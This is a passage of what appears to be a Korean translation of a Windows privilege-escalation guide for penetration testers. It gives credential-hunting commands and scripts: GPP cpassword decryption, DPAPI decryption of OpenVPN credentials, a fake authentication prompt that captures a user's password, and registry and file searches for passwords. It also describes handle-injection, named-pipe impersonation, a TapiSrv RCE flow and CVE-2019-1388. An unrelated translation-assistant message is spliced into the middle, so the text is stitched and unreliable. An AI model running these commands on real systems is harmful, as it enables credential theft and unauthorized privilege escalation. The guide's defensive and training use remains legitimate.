%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

ํด๋ผ์šฐ๋“œ ์ž๊ฒฉ ์ฆ๋ช…

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

ํŒŒ์ผ ์ด๋ฆ„์ด SiteList.xml์ธ ํŒŒ์ผ์„ ์ฐพ์œผ์„ธ์š”.

Cached GPP Password

์ด์ „์—๋Š” Group Policy Preferences (GPP)๋ฅผ ํ†ตํ•ด ์—ฌ๋Ÿฌ ์ปดํ“จํ„ฐ์— ์ปค์Šคํ…€ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ๋ฐฐํฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์—๋Š” ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ๊ฒฐํ•จ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ฒซ์งธ, Group Policy Objects (GPOs)๋Š” SYSVOL์— XML ํŒŒ์ผ๋กœ ์ €์žฅ๋˜๋ฉฐ ๋ชจ๋“  ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋‘˜์งธ, ์ด๋Ÿฌํ•œ GPP ๋‚ด๋ถ€์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๊ณต๊ฐœ ๋ฌธ์„œํ™”๋œ ๊ธฐ๋ณธ ํ‚ค๋กœ AES256์œผ๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์—ˆ๊ณ , ์ธ์ฆ๋œ ์•„๋ฌด ์‚ฌ์šฉ์ž๋‚˜ ์ด๋ฅผ ๋ณตํ˜ธํ™”ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ ์ƒ์Šน์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š” ์‹ฌ๊ฐํ•œ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด, โ€œcpasswordโ€ ํ•„๋“œ๊ฐ€ ๋น„์–ด ์žˆ์ง€ ์•Š์€ ๋กœ์ปฌ์— ์บ์‹œ๋œ GPP ํŒŒ์ผ์„ ๊ฒ€์ƒ‰ํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ๊ฐœ๋ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด ํ•จ์ˆ˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ •์˜ PowerShell ๊ฐ์ฒด๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ์ฒด์—๋Š” GPP ๋ฐ ํŒŒ์ผ ์œ„์น˜์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด ํ•ด๋‹น ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  ์ˆ˜์ •ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPassword๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๋ ค๋ฉด:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ passwords๋ฅผ ์–ป๊ธฐ:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS ์›น ๊ตฌ์„ฑ

Get-Childitem โ€“Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem โ€“Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem โ€“Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

์ž๊ฒฉ ์ฆ๋ช…์ด ํฌํ•จ๋œ web.config์˜ ์˜ˆ:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN ์ž๊ฒฉ ์ฆ๋ช…

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

๋กœ๊ทธ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem โ€“Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentials ์š”์ฒญํ•˜๊ธฐ

๋‹น์‹ ์€ ๊ทธ๊ฐ€ ์•Œ๊ณ  ์žˆ์„ ๊ฒƒ์ด๋ผ๊ณ  ์ƒ๊ฐ๋˜๋ฉด ์–ธ์ œ๋“ ์ง€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ž์‹ ์˜ credentials ๋˜๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ credentials๋ฅผ ์ž…๋ ฅํ•˜๋„๋ก ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋‹ค (์ฐธ๊ณ ๋กœ, ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ง์ ‘ ์š”์ฒญํ•˜์—ฌ credentials๋ฅผ ๋ฐ›๋Š” ๊ฒƒ์€ ์ •๋ง ์œ„ํ—˜ํ•˜๋‹ค):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

credentials๋ฅผ ํฌํ•จํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ํŒŒ์ผ๋ช…

๊ณผ๊ฑฐ์— passwords๋ฅผ clear-text ๋˜๋Š” Base64๋กœ ํฌํ•จํ•˜๊ณ  ์žˆ์—ˆ๋˜ ์•Œ๋ ค์ง„ ํŒŒ์ผ๋“ค

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I donโ€™t have access to your files. Please either:

  • Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here, or
  • Provide a public repo URL and the exact path so I can fetch it.

Then I will translate the English text to Korean while preserving all markdown, tags, links, paths, and code as you requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem โ€“Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

ํœด์ง€ํ†ต์˜ ์ž๊ฒฉ ์ฆ๋ช…

๋˜ํ•œ ํœด์ง€ํ†ต์„ ํ™•์ธํ•˜์—ฌ ๊ทธ ์•ˆ์— ์ž๊ฒฉ ์ฆ๋ช…์ด ์žˆ๋Š”์ง€ ์‚ดํŽด๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

์—ฌ๋Ÿฌ ํ”„๋กœ๊ทธ๋žจ์— ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณต๊ตฌํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: http://www.nirsoft.net/password_recovery_tools.html

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋‚ด๋ถ€

์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

๋ธŒ๋ผ์šฐ์ € ๊ธฐ๋ก

๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ Chrome or Firefox์— ์ €์žฅ๋œ db๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๋˜ํ•œ ๋ธŒ๋ผ์šฐ์ €์˜ ๊ธฐ๋ก, ๋ถ๋งˆํฌ ๋ฐ ์ฆ๊ฒจ์ฐพ๊ธฐ๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ผ๋ถ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ทธ๊ณณ์— ์ €์žฅ๋˜์–ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tools to extract passwords from browsers:

COM DLL Overwriting

**Component Object Model (COM)**์€ Windows ์šด์˜์ฒด์ œ์— ํฌํ•จ๋œ ๊ธฐ์ˆ ๋กœ, ์„œ๋กœ ๋‹ค๋ฅธ ์–ธ์–ด๋กœ ์ž‘์„ฑ๋œ ์†Œํ”„ํŠธ์›จ์–ด ๊ตฌ์„ฑ ์š”์†Œ ๊ฐ„์˜ ์ƒํ˜ธ ํ†ต์‹ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ COM ๊ตฌ์„ฑ ์š”์†Œ๋Š” **identified via a class ID (CLSID)**๋กœ ์‹๋ณ„๋˜๋ฉฐ ๊ฐ ๊ตฌ์„ฑ ์š”์†Œ๋Š” ํ•˜๋‚˜ ์ด์ƒ์˜ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ†ตํ•ด ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๊ณ , ํ•ด๋‹น ์ธํ„ฐํŽ˜์ด์Šค๋Š” **identified via interface IDs (IIDs)**๋กœ ์‹๋ณ„๋ฉ๋‹ˆ๋‹ค.

COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Basically, if you can overwrite any of the DLLs that are going to be executed, you could escalate privileges if that DLL is going to be executed by a different user.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

ํŒŒ์ผ ๋ฐ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ์˜ ์ผ๋ฐ˜์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ƒ‰

ํŒŒ์ผ ๋‚ด์šฉ ๊ฒ€์ƒ‰

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

ํŠน์ • ํŒŒ์ผ ์ด๋ฆ„์„ ๊ฐ€์ง„ ํŒŒ์ผ ๊ฒ€์ƒ‰

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ํ‚ค ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋„๊ตฌ

MSF-Credentials Plugin msf ํ”Œ๋Ÿฌ๊ทธ์ธ์œผ๋กœ, ์ œ๊ฐ€ ๋งŒ๋“  ์ด ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํ”ผํ•ด์ž ์‹œ์Šคํ…œ ๋‚ด๋ถ€์—์„œ credentials๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ชจ๋“  metasploit POST ๋ชจ๋“ˆ์„ ์ž๋™์œผ๋กœ ์‹คํ–‰ํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
Winpeas์€ ์ด ํŽ˜์ด์ง€์— ์–ธ๊ธ‰๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•œ ๋ชจ๋“  ํŒŒ์ผ์„ ์ž๋™์œผ๋กœ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.
Lazagne์€ ์‹œ์Šคํ…œ์—์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ํ›Œ๋ฅญํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.

๋„๊ตฌ SessionGopher๋Š” ์ด ๋ฐ์ดํ„ฐ๋ฅผ ํ‰๋ฌธ์œผ๋กœ ์ €์žฅํ•˜๋Š” ์—ฌ๋Ÿฌ ํˆด(PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP)์˜ sessions, usernames ๋ฐ passwords๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

์ƒ์ƒํ•ด๋ณด์ž: SYSTEM์œผ๋กœ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ OpenProcess()๋กœ ์ƒˆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์—ฐ๋‹ค (๊ถŒํ•œ: full access). ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค๋Š” ๋˜ํ•œ CreateProcess()๋กœ low privileges๋ฅผ ๊ฐ€์ง„ ์ƒˆ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š”๋ฐ, ์ด ํ”„๋กœ์„ธ์Šค๋Š” ๋ฉ”์ธ ํ”„๋กœ์„ธ์Šค์˜ ๋ชจ๋“  ์—ด๋ฆฐ handles๋ฅผ ์ƒ์†๋ฐ›๋Š”๋‹ค.
๊ทธ๋ ‡๋‹ค๋ฉด, ๋งŒ์•ฝ ๋‹น์‹ ์ด low privileged process์— ๋Œ€ํ•ด full access๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, OpenProcess()๋กœ ์ƒ์„ฑ๋œ ๊ถŒํ•œ ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์—ด๋ฆฐ ํ•ธ๋“ค์„ ํš๋“ํ•˜๊ณ  shellcode๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

๊ณต์œ  ๋ฉ”๋ชจ๋ฆฌ ์„ธ๊ทธ๋จผํŠธ, ์ผ๋ฐ˜์ ์œผ๋กœ pipes๋ผ ๋ถˆ๋ฆฌ๋Š” ๊ฒƒ๋“ค์€ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ ๊ณผ ๋ฐ์ดํ„ฐ ์ „์†ก์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค.

Windows๋Š” Named Pipes๋ผ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ด€๋ จ ์—†๋Š” ํ”„๋กœ์„ธ์Šค๋“ค์กฐ์ฐจ ์„œ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๊ณ  ์‹ฌ์ง€์–ด ๋‹ค๋ฅธ ๋„คํŠธ์›Œํฌ ์ƒ์—์„œ๋„ ๋™์ž‘ํ•œ๋‹ค. ์ด๋Š” ํด๋ผ์ด์–ธํŠธ/์„œ๋ฒ„ ์•„ํ‚คํ…์ฒ˜์™€ ์œ ์‚ฌํ•˜๋ฉฐ ์—ญํ• ์€ named pipe server์™€ named pipe client๋กœ ์ •์˜๋œ๋‹ค.

ํด๋ผ์ด์–ธํŠธ๊ฐ€ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋ฉด, ํŒŒ์ดํ”„๋ฅผ ์„ค์ •ํ•œ server๋Š” ํ•„์š”ํ•œ SeImpersonate ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด client์˜ identity๋ฅผ takeover(๊ฐ€์ ธ์˜ฌ) ์ˆ˜ ์žˆ๋‹ค. ๋‹น์‹ ์ด ํ‰๋‚ด๋‚ผ ์ˆ˜ ์žˆ๋Š” ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ํ†ต์‹ ํ•˜๋Š” privileged process๋ฅผ ์‹๋ณ„ํ•˜๋ฉด, ๋‹น์‹ ์ด ๋งŒ๋“  ํŒŒ์ดํ”„์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๋•Œ ๊ทธ ํ”„๋กœ์„ธ์Šค์˜ identity๋ฅผ ์ฑ„ํƒํ•˜์—ฌ ๋” ๋†’์€ ๊ถŒํ•œ์„ ์–ป์„ ๊ธฐํšŒ๋ฅผ ์ œ๊ณตํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ง€์นจ์€ here์™€ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๋˜ํ•œ ๋‹ค์Œ ๋„๊ตฌ๋Š” burp์™€ ๊ฐ™์€ ํˆด๋กœ named pipe ํ†ต์‹ ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค: https://github.com/gabriel-sztejnworcel/pipe-intercept ๊ทธ๋ฆฌ๊ณ  ์ด ๋„๊ตฌ๋Š” privescs๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ๋ชจ๋“  ํŒŒ์ดํ”„๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค: https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Telephony ์„œ๋น„์Šค(TapiSrv)์˜ server ๋ชจ๋“œ๋Š” \\pipe\\tapsrv (MS-TRP)๋ฅผ ๋…ธ์ถœํ•œ๋‹ค. ์›๊ฒฉ ์ธ์ฆ๋œ ํด๋ผ์ด์–ธํŠธ๋Š” mailslot ๊ธฐ๋ฐ˜ ๋น„๋™๊ธฐ ์ด๋ฒคํŠธ ๊ฒฝ๋กœ๋ฅผ ์•…์šฉํ•˜์—ฌ ClientAttach๋ฅผ NETWORK SERVICE๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ธฐ์กด ํŒŒ์ผ์— ๋Œ€ํ•œ ์ž„์˜์˜ 4๋ฐ”์ดํŠธ ์“ฐ๊ธฐ๋กœ ๋ฐ”๊พธ๊ณ , ์ดํ›„ Telephony admin ๊ถŒํ•œ์„ ์–ป์–ด ์„œ๋น„์Šค๋กœ์„œ ์ž„์˜์˜ DLL์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค. ์ „์ฒด ํ๋ฆ„:

  • ClientAttach์—์„œ pszDomainUser๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ธฐ์กด ๊ฒฝ๋กœ๋กœ ์„ค์ • โ†’ ์„œ๋น„์Šค๋Š” CreateFileW(..., OPEN_EXISTING)๋กœ ์ด๋ฅผ ์—ด๊ณ  ๋น„๋™๊ธฐ ์ด๋ฒคํŠธ ์“ฐ๊ธฐ์— ์‚ฌ์šฉํ•œ๋‹ค.
  • ๊ฐ ์ด๋ฒคํŠธ๋Š” Initialize์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” InitContext๋ฅผ ํ•ด๋‹น ํ•ธ๋“ค์— ์“ด๋‹ค. LRegisterRequestRecipient(Req_Func 61)๋กœ ๋ผ์ธ ์•ฑ์„ ๋“ฑ๋กํ•˜๊ณ , TRequestMakeCall(Req_Func 121)์„ ํŠธ๋ฆฌ๊ฑฐํ•œ ๋’ค GetAsyncEvents(Req_Func 0)๋กœ ๊ฐ€์ ธ์˜ค๊ณ , ๊ทธ ๋‹ค์Œ unregister/shutdown ํ•˜์—ฌ ๊ฒฐ์ •๋ก ์  ์“ฐ๊ธฐ๋ฅผ ๋ฐ˜๋ณตํ•œ๋‹ค.
  • C:\Windows\TAPI\tsec.ini์˜ [TapiAdministrators]์— ์ž์‹ ์„ ์ถ”๊ฐ€ํ•˜๊ณ  ์žฌ์—ฐ๊ฒฐํ•œ ๋‹ค์Œ ์ž„์˜์˜ DLL ๊ฒฝ๋กœ๋กœ GetUIDllName์„ ํ˜ธ์ถœํ•˜์—ฌ TSPI_providerUIIdentify๋ฅผ NETWORK SERVICE๋กœ ์‹คํ–‰ํ•œ๋‹ค.

๋” ์ž์„ธํ•œ ๋‚ด์šฉ:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•ด๋ณด์„ธ์š”: https://filesec.io/

Monitoring Command Lines for passwords

์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ shell์„ ์–ป์—ˆ์„ ๋•Œ, scheduled tasks๋‚˜ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๋“ค์ด ์‹คํ–‰๋˜๋ฉฐ pass credentials on the command line ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ ์Šคํฌ๋ฆฝํŠธ๋Š” ํ”„๋กœ์„ธ์Šค์˜ command lines๋ฅผ 2์ดˆ๋งˆ๋‹ค ์บก์ฒ˜ํ•˜๊ณ  ํ˜„์žฌ ์ƒํƒœ๋ฅผ ์ด์ „ ์ƒํƒœ์™€ ๋น„๊ตํ•˜์—ฌ ๋ณ€๊ฒฝ๋ถ„๋งŒ ์ถœ๋ ฅํ•œ๋‹ค.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

๊ทธ๋ž˜ํ”ฝ ์ธํ„ฐํŽ˜์ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ณ  (via console or RDP) UAC๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ, ์ผ๋ถ€ Microsoft Windows ๋ฒ„์ „์—์„œ๋Š” ๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ํ„ฐ๋ฏธ๋„์ด๋‚˜ โ€œNT\AUTHORITY SYSTEMโ€œ๊ณผ ๊ฐ™์€ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋กœ ์ธํ•ด ๋™์ผํ•œ ์ทจ์•ฝ์ ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน๊ณผ UAC ์šฐํšŒ๊ฐ€ ๋™์‹œ์— ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. ๋˜ํ•œ ์ถ”๊ฐ€๋กœ ์•„๋ฌด๊ฒƒ๋„ ์„ค์น˜ํ•  ํ•„์š”๊ฐ€ ์—†์œผ๋ฉฐ, ํ”„๋กœ์„ธ์Šค ์ค‘ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” Microsoft์—์„œ ์„œ๋ช…ํ•˜๊ณ  ๋ฐœํ–‰ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์˜ํ–ฅ์„ ๋ฐ›๋Š” ์‹œ์Šคํ…œ ์ค‘ ์ผ๋ถ€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

